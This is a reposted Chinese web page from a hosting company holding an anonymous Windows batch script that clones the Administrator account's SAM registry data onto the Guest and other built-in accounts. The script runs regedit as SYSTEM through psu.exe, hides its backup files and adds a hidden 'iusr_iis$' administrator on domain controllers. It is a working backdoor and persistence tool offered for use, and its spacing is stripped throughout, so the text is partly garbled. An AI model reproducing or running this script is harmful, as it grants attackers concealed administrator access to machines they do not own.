快速业务通道

自动克隆guest为administrators组的批处理

作者 佚名 来源 批处理 浏览 发布时间 2013-07-09
复制代码 代码如下:

@echoguest.bat^<zpid^>^<password^>
@echo__________________________________________________________
@rem本guest.bat自动克隆guest为administrators组。
@rem如果存在username表示在终端登陆的环境运行bat.需要手工输入pid值。
@rem最好先手工修改密码。执行本程序两次。哈哈。主要是没有掩饰。regedit比较费时间。
@setzpath=%path%
@setzcd=%cd%
@setpath=%path%;%windir%;%windir%\system32

:start
@netuserguest|find/i"*Domain"&&echoDomainController,Dontclone.ADDuser!&&gotoDOMAIN
@ifNOT"%USERNAME%"==""echousername=[%username%],term_loginmode.inputPID.&&gotoTerm

:start1
@pulist.exe|findstr.exe/i"WINLOGON.exe">a
@setx.exea-fa-a0,1>b
@FOR/F"eol=;tokens=1,2,3*delims=,"%%iin(b)do@setzpid=%%i
@gotoAUTO

:Term
@if"%1"==""gotoUSAGE
@ifNOT"%2"==""netuserguest%2
@ifNOT"%2"==""netuser|find/i"tsinternetuser">nul&&netusertsinternetuser%2
@setzpid=%1


:AUTO
@echoMakeadmg.regadmt.regadmiis.reg
@psu.exe-p"%windir%\regedit.exe-eadmin.regHKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\000001F4"-i%zpid%>nul
@psu.exe-p"%windir%\regedit.exe-ename.$$HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names"-i%zpid%>nul
@echoWindowsRegistryEditorVersion5.00>admg.reg
@echoWindowsRegistryEditorVersion5.00>admt.reg
@echo[HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\000001F5]>>admg.reg
@echo[HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\000003e8]>>admt.reg
@typeadmin.reg>a&echo"Unicode-->>>ansi.find.exeuseitansi."&ifexistbdelb
@echo"F"=hex:02,00,01,00,00,00,00,00,00,00,00,00,00,00,00,01,00,00,00,00,00,00,00,\>>b
@setx.exea-fa-a4,0|find",">>b
@setx.exea-fa-a5,0|find",">>b
@setx.exea-fa-a6,0|find",">>b
@typeb>>admg.reg
@typeb>>admt.reg

:IIS
@setzda=no
@echoiusr_iisexec
@typename.$contentgt;name.reg
@copyname.regname.txt>nul
@FOR/L%%iIN(5,3,30)DO@(setx.exea-fname.reg-a%%i,0|find/i"IUSR_IIS$"&&setzda=%%i)
@if"%zda%"=="no"gotoPSU
@rep.exe"IUSR_IIS$"name.txt/R/I>nul
@rep.exe"Editor"name.txt/R/I>nul
@find.exe/v/n""name.txt>n1
@findstr/I"%zda%"n1>name.iis
@setxa-fname.iis-a0,1-d()>zdc
@deln1
@delname.iis
@delname.$$
@delname.txt
@dela
@delb

@For/F"tokens=1,2*delims="%%iin(zdc)do@(echo%%i>zdd)
@For/F"tokens=1,2*delims="%%iin(zdd)do@(setzdd=%%i)
@copyadmg.regadmiis.reg>nul
@echorep.exe"1f5""%zdd%"admiis.reg/I
@rep.exe"1f5""%zdd%"admiis.reg/I
@delzdc
@delzdd

:PSU
@attrib-s-radmg.bak>nul
@attrib-s-radmt.bak>nul
@copyadmg.bakadmg.reg>nul
@copyadmt.bakadmt.reg>nul
@psu.exe-p"%windir%\regedit.exe-sadmg.reg"-i%zpid%>nul
@psu.exe-p"%windir%\regedit.exe-sadmt.reg"-i%zpid%>nul

@ifNOT"%zda%"=="no"psu.exe-p"%windir%\regedit.exe-sadmiis.reg"-i%zpid%>nul
@ifNOT"%zda%"=="no"netuseriusr_iis$/active:yes>nul
@ifNOT"%zda%"=="no"netuseriusr_iis$/active:no>nul

@copyadmg.regadmg.bak>nul
@copyadmt.regadmt.bak>nul
@attribadmg.bak+r+s>nul
@attribadmt.bak+r+s>nul

@netuserguest/active:yes>nul
@netuserguest/active:no>nul
@netuser|find/I"tsinternetuser"||gotoNEXT
@netusertsinternetuser/active:yes>nul
@netusertsinternetuser/active:no>nul
@ifexistadmin.regdeladmin.reg/f>nul
@ifexistadmg.regdeladmg.reg/f>nul
@ifexistadmt.regdeladmt.reg/f>nul
:Next
@gotoend


:DOMAIN
@remadduseriusr_iis$
@if"%2"==""echo"notinputguestofpassword"&&gotoEND
@netuser|find/i"iusr_iis">nul||netuseriusr_iis$%2/add
@netlocalgroupadministrators|find/i"iusr_iis$">nul||netlocalgroupadministratorsiusr_iis$/add
@gotoEND

:USAGE
@pulist.exe|findstr.exe/i"WINLOGONexplorer"
@echo"system.batzpid<password>"
@echo"NeedcurwinlogonPID,Term_mode,MustthisTerm_login_winlogon_pid."
@gotoend1

:END
@echo________ALLUserINadministrators:
@netlocalgroupadministrators
:END1
@echopsu.exe-p"%windir%\regedit.exe-sadmiis.reg"-i%zpid%
@setpath=%zpath%
@setzpath=
@setzcd=
@setzda=
@setzdb=
@setzdd=
@setzpid=

凌众科技专业提供服务器租用、服务器托管、企业邮局、虚拟主机等服务,公司网站:http://www.lingzhong.cn 为了给广大客户了解更多的技术信息,本技术文章收集来源于网络,凌众科技尊重文章作者的版权,如果有涉及你的版权有必要删除你的文章,请和我们联系。以上信息与文章正文是不可分割的一部分,如果您要转载本文章,请保留以上信息,谢谢!

分享到: 更多

Copyright ©1999-2011 厦门凌众科技有限公司 厦门优通互联科技开发有限公司 All rights reserved

地址(ADD):厦门软件园二期望海路63号701E(东南融通旁) 邮编(ZIP):361008

电话:0592-5908028 传真:0592-5908039 咨询信箱:web@lingzhong.cn 咨询OICQ:173723134

《中华人民共和国增值电信业务经营许可证》闽B2-20100024  ICP备案:闽ICP备05037997号